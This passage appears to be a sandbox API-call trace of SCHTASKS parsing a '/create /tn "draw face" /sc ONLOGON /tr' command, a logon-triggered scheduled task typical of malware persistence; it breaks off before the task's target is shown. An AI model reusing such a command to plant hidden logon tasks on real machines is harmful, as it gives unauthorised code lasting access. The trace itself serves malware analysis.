[0120.581] _memicmp (_Buf1=0x286ac7d4330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.581] GetProcessHeap () returned 0x286ac7d0000 [0120.581] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0xa0) returned 0x286ac7d4350 [0120.581] GetProcessHeap () returned 0x286ac7d0000 [0120.581] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x20) returned 0x286ac7db620 [0120.581] GetProcessHeap () returned 0x286ac7d0000 [0120.581] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x20) returned 0x286ac7db5f0 [0120.581] GetProcessHeap () returned 0x286ac7d0000 [0120.581] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x20) returned 0x286ac7db740 [0120.581] GetProcessHeap () returned 0x286ac7d0000 [0120.581] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x18) returned 0x286ac7d4400 [0120.582] _memicmp (_Buf1=0x286ac7d4400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.582] GetProcessHeap () returned 0x286ac7d0000 [0120.582] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x200) returned 0x286ac7dba80 [0120.582] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x286ac7dba80, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0120.582] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0120.582] GetProcessHeap () returned 0x286ac7d0000 [0120.582] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x30) returned 0x286ac7d38e0 [0120.582] _vsnwprintf (in: _Buffer=0x286ac7d4350, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xb17668f7c8 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0120.582] GetProcessHeap () returned 0x286ac7d0000 [0120.582] GetProcessHeap () returned 0x286ac7d0000 [0120.582] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7da7b0) returned 1 [0120.582] GetProcessHeap () returned 0x286ac7d0000 [0120.582] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7da7b0) returned 0x776 [0120.583] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7da7b0) returned 1 [0120.583] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.583] GetThreadLocale () returned 0x409 [0120.583] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0120.583] lstrlenW (lpString="?") returned 1 [0120.583] GetThreadLocale () returned 0x409 [0120.583] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0120.583] lstrlenW (lpString="create") returned 6 [0120.583] GetThreadLocale () returned 0x409 [0120.583] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0120.584] lstrlenW (lpString="delete") returned 6 [0120.584] GetThreadLocale () returned 0x409 [0120.584] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0120.584] lstrlenW (lpString="query") returned 5 [0120.584] GetThreadLocale () returned 0x409 [0120.584] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0120.584] lstrlenW (lpString="change") returned 6 [0120.584] GetThreadLocale () returned 0x409 [0120.584] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0120.584] lstrlenW (lpString="run") returned 3 [0120.584] GetThreadLocale () returned 0x409 [0120.584] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0120.584] lstrlenW (lpString="end") returned 3 [0120.584] GetThreadLocale () returned 0x409 [0120.584] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0120.584] lstrlenW (lpString="showsid") returned 7 [0120.584] GetThreadLocale () returned 0x409 [0120.584] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0120.584] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.584] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.584] lstrlenW (lpString="/create") returned 7 [0120.584] lstrlenW (lpString="-/") returned 2 [0120.584] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0120.584] lstrlenW (lpString="?") returned 1 [0120.584] lstrlenW (lpString="?") returned 1 [0120.584] GetProcessHeap () returned 0x286ac7d0000 [0120.584] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x18) returned 0x286ac7d3920 [0120.584] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.584] GetProcessHeap () returned 0x286ac7d0000 [0120.585] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0xa) returned 0x286ac7d3940 [0120.585] lstrlenW (lpString="create") returned 6 [0120.585] GetProcessHeap () returned 0x286ac7d0000 [0120.585] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x18) returned 0x286ac7daa00 [0120.585] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.585] GetProcessHeap () returned 0x286ac7d0000 [0120.585] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x14) returned 0x286ac7daa80 [0120.585] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|?|") returned 3 [0120.585] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x9, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|create|") returned 8 [0120.585] lstrlenW (lpString="|?|") returned 3 [0120.585] lstrlenW (lpString="|create|") returned 8 [0120.585] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.585] lstrlenW (lpString="create") returned 6 [0120.585] lstrlenW (lpString="create") returned 6 [0120.585] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.585] GetProcessHeap () returned 0x286ac7d0000 [0120.585] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7d3940) returned 1 [0120.585] GetProcessHeap () returned 0x286ac7d0000 [0120.585] RtlReAllocateHeap (Heap=0x286ac7d0000, Flags=0xc, Ptr=0x286ac7d3940, Size=0x14) returned 0x286ac7d3940 [0120.585] lstrlenW (lpString="create") returned 6 [0120.585] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.585] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x9, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|create|") returned 8 [0120.585] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x9, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|create|") returned 8 [0120.585] lstrlenW (lpString="|create|") returned 8 [0120.585] lstrlenW (lpString="|create|") returned 8 [0120.586] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0120.586] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.586] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.586] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.586] lstrlenW (lpString="/tn") returned 3 [0120.586] lstrlenW (lpString="-/") returned 2 [0120.586] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0120.586] lstrlenW (lpString="?") returned 1 [0120.586] lstrlenW (lpString="?") returned 1 [0120.586] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.586] lstrlenW (lpString="tn") returned 2 [0120.586] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.586] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|?|") returned 3 [0120.586] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|tn|") returned 4 [0120.586] lstrlenW (lpString="|?|") returned 3 [0120.586] lstrlenW (lpString="|tn|") returned 4 [0120.586] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.586] lstrlenW (lpString="create") returned 6 [0120.586] lstrlenW (lpString="create") returned 6 [0120.586] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.586] lstrlenW (lpString="tn") returned 2 [0120.586] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.586] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x9, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|create|") returned 8 [0120.587] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|tn|") returned 4 [0120.587] lstrlenW (lpString="|create|") returned 8 [0120.587] lstrlenW (lpString="|tn|") returned 4 [0120.587] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0120.587] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.587] lstrlenW (lpString="delete") returned 6 [0120.587] lstrlenW (lpString="delete") returned 6 [0120.587] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.587] lstrlenW (lpString="tn") returned 2 [0120.587] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.587] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x9, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|delete|") returned 8 [0120.587] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|tn|") returned 4 [0120.587] lstrlenW (lpString="|delete|") returned 8 [0120.587] lstrlenW (lpString="|tn|") returned 4 [0120.587] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0120.587] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.587] lstrlenW (lpString="query") returned 5 [0120.587] lstrlenW (lpString="query") returned 5 [0120.587] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.587] lstrlenW (lpString="tn") returned 2 [0120.587] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.587] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x8, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|query|") returned 7 [0120.587] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|tn|") returned 4 [0120.587] lstrlenW (lpString="|query|") returned 7 [0120.587] lstrlenW (lpString="|tn|") returned 4 [0120.588] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0120.588] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.588] lstrlenW (lpString="change") returned 6 [0120.588] lstrlenW (lpString="change") returned 6 [0120.588] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.588] lstrlenW (lpString="tn") returned 2 [0120.588] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.588] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x9, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|change|") returned 8 [0120.588] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|tn|") returned 4 [0120.588] lstrlenW (lpString="|change|") returned 8 [0120.588] lstrlenW (lpString="|tn|") returned 4 [0120.588] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0120.588] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.588] lstrlenW (lpString="run") returned 3 [0120.588] lstrlenW (lpString="run") returned 3 [0120.588] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.588] lstrlenW (lpString="tn") returned 2 [0120.588] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.588] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x6, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|run|") returned 5 [0120.588] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|tn|") returned 4 [0120.588] lstrlenW (lpString="|run|") returned 5 [0120.588] lstrlenW (lpString="|tn|") returned 4 [0120.588] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0120.588] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.588] lstrlenW (lpString="end") returned 3 [0120.588] lstrlenW (lpString="end") returned 3 [0120.589] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.589] lstrlenW (lpString="tn") returned 2 [0120.589] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.589] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x6, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|end|") returned 5 [0120.589] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|tn|") returned 4 [0120.589] lstrlenW (lpString="|end|") returned 5 [0120.589] lstrlenW (lpString="|tn|") returned 4 [0120.589] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0120.589] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.589] lstrlenW (lpString="showsid") returned 7 [0120.589] lstrlenW (lpString="showsid") returned 7 [0120.589] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.589] GetProcessHeap () returned 0x286ac7d0000 [0120.589] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7d3940) returned 1 [0120.589] GetProcessHeap () returned 0x286ac7d0000 [0120.589] RtlReAllocateHeap (Heap=0x286ac7d0000, Flags=0xc, Ptr=0x286ac7d3940, Size=0x16) returned 0x286ac7d3940 [0120.589] lstrlenW (lpString="tn") returned 2 [0120.589] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.589] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0xa, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|showsid|") returned 9 [0120.589] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|tn|") returned 4 [0120.589] lstrlenW (lpString="|showsid|") returned 9 [0120.589] lstrlenW (lpString="|tn|") returned 4 [0120.589] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0120.589] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.590] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.590] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.590] lstrlenW (lpString="/tn") returned 3 [0120.590] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0120.590] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.590] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.590] lstrlenW (lpString="/tn") returned 3 [0120.590] GetProcessHeap () returned 0x286ac7d0000 [0120.590] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x8) returned 0x286ac7d3970 [0120.590] GetProcessHeap () returned 0x286ac7d0000 [0120.590] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x20) returned 0x286ac7db3e0 [0120.590] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.590] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.590] lstrlenW (lpString="draw face") returned 9 [0120.590] lstrlenW (lpString="-/") returned 2 [0120.590] StrChrIW (lpStart="-/", wMatch=0x64) returned 0x0 [0120.590] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.590] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.590] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.590] lstrlenW (lpString="draw face") returned 9 [0120.591] StrChrIW (lpStart="draw face", wMatch=0x3a) returned 0x0 [0120.591] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.591] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.591] lstrlenW (lpString="draw face") returned 9 [0120.591] GetProcessHeap () returned 0x286ac7d0000 [0120.591] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x14) returned 0x286ac7daae0 [0120.591] GetProcessHeap () returned 0x286ac7d0000 [0120.591] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x20) returned 0x286ac7db6e0 [0120.591] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.591] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.591] lstrlenW (lpString="/sc") returned 3 [0120.591] lstrlenW (lpString="-/") returned 2 [0120.591] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0120.591] lstrlenW (lpString="?") returned 1 [0120.591] lstrlenW (lpString="?") returned 1 [0120.591] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.593] lstrlenW (lpString="sc") returned 2 [0120.593] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.593] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|?|") returned 3 [0120.593] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|sc|") returned 4 [0120.594] lstrlenW (lpString="|?|") returned 3 [0120.594] lstrlenW (lpString="|sc|") returned 4 [0120.594] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.594] lstrlenW (lpString="create") returned 6 [0120.594] lstrlenW (lpString="create") returned 6 [0120.594] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.594] lstrlenW (lpString="sc") returned 2 [0120.594] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.594] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x9, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|create|") returned 8 [0120.594] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|sc|") returned 4 [0120.594] lstrlenW (lpString="|create|") returned 8 [0120.594] lstrlenW (lpString="|sc|") returned 4 [0120.594] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0120.594] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.594] lstrlenW (lpString="delete") returned 6 [0120.594] lstrlenW (lpString="delete") returned 6 [0120.594] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.594] lstrlenW (lpString="sc") returned 2 [0120.594] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.594] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x9, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|delete|") returned 8 [0120.594] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|sc|") returned 4 [0120.594] lstrlenW (lpString="|delete|") returned 8 [0120.594] lstrlenW (lpString="|sc|") returned 4 [0120.594] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0120.594] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.594] lstrlenW (lpString="query") returned 5 [0120.595] lstrlenW (lpString="query") returned 5 [0120.595] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.595] lstrlenW (lpString="sc") returned 2 [0120.595] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.595] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x8, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|query|") returned 7 [0120.595] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|sc|") returned 4 [0120.595] lstrlenW (lpString="|query|") returned 7 [0120.595] lstrlenW (lpString="|sc|") returned 4 [0120.595] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0120.595] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.595] lstrlenW (lpString="change") returned 6 [0120.595] lstrlenW (lpString="change") returned 6 [0120.595] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.595] lstrlenW (lpString="sc") returned 2 [0120.595] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.595] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x9, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|change|") returned 8 [0120.595] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|sc|") returned 4 [0120.595] lstrlenW (lpString="|change|") returned 8 [0120.595] lstrlenW (lpString="|sc|") returned 4 [0120.595] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0120.595] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.595] lstrlenW (lpString="run") returned 3 [0120.595] lstrlenW (lpString="run") returned 3 [0120.595] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.596] lstrlenW (lpString="sc") returned 2 [0120.596] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.596] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x6, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|run|") returned 5 [0120.596] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|sc|") returned 4 [0120.596] lstrlenW (lpString="|run|") returned 5 [0120.596] lstrlenW (lpString="|sc|") returned 4 [0120.596] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0120.596] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.596] lstrlenW (lpString="end") returned 3 [0120.596] lstrlenW (lpString="end") returned 3 [0120.596] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.596] lstrlenW (lpString="sc") returned 2 [0120.596] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.596] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x6, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|end|") returned 5 [0120.596] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|sc|") returned 4 [0120.596] lstrlenW (lpString="|end|") returned 5 [0120.596] lstrlenW (lpString="|sc|") returned 4 [0120.596] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0120.596] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.596] lstrlenW (lpString="showsid") returned 7 [0120.596] lstrlenW (lpString="showsid") returned 7 [0120.596] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.596] lstrlenW (lpString="sc") returned 2 [0120.596] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.597] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0xa, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|showsid|") returned 9 [0120.597] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|sc|") returned 4 [0120.597] lstrlenW (lpString="|showsid|") returned 9 [0120.597] lstrlenW (lpString="|sc|") returned 4 [0120.597] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0120.597] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.597] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.597] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.597] lstrlenW (lpString="/sc") returned 3 [0120.597] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0120.597] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.597] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.597] lstrlenW (lpString="/sc") returned 3 [0120.597] GetProcessHeap () returned 0x286ac7d0000 [0120.597] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x8) returned 0x286ac7d3990 [0120.597] GetProcessHeap () returned 0x286ac7d0000 [0120.597] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x20) returned 0x286ac7db770 [0120.597] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.597] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.597] lstrlenW (lpString="ONLOGON") returned 7 [0120.597] lstrlenW (lpString="-/") returned 2 [0120.597] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0120.597] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.597] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.597] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.597] lstrlenW (lpString="ONLOGON") returned 7 [0120.597] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0120.597] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.597] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.598] lstrlenW (lpString="ONLOGON") returned 7 [0120.598] GetProcessHeap () returned 0x286ac7d0000 [0120.598] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x10) returned 0x286ac7dab20 [0120.598] GetProcessHeap () returned 0x286ac7d0000 [0120.598] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x20) returned 0x286ac7db5c0 [0120.598] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.598] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.598] lstrlenW (lpString="/tr") returned 3 [0120.598] lstrlenW (lpString="-/") returned 2 [0120.598] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0120.598] lstrlenW (lpString="?") returned 1 [0120.598] lstrlenW (lpString="?") returned 1 [0120.598] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.598] lstrlenW (lpString="tr") returned 2 [0120.598] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.598] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|?|") returned 3 [0120.598] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|tr|") returned 4 [0120.598] lstrlenW (lpString="|?|") returned 3 [0120.598] lstrlenW (lpString="|tr|") returned 4 [0120.598] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.598] lstrlenW (lpString="create") returned 6 [0120.598] lstrlenW (lpString="create") returned 6 [0120.598] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.598] lstrlenW (lpString="tr") returned 2 [0120.598] _memicmp (_Buf1=0x286ac7daa00, 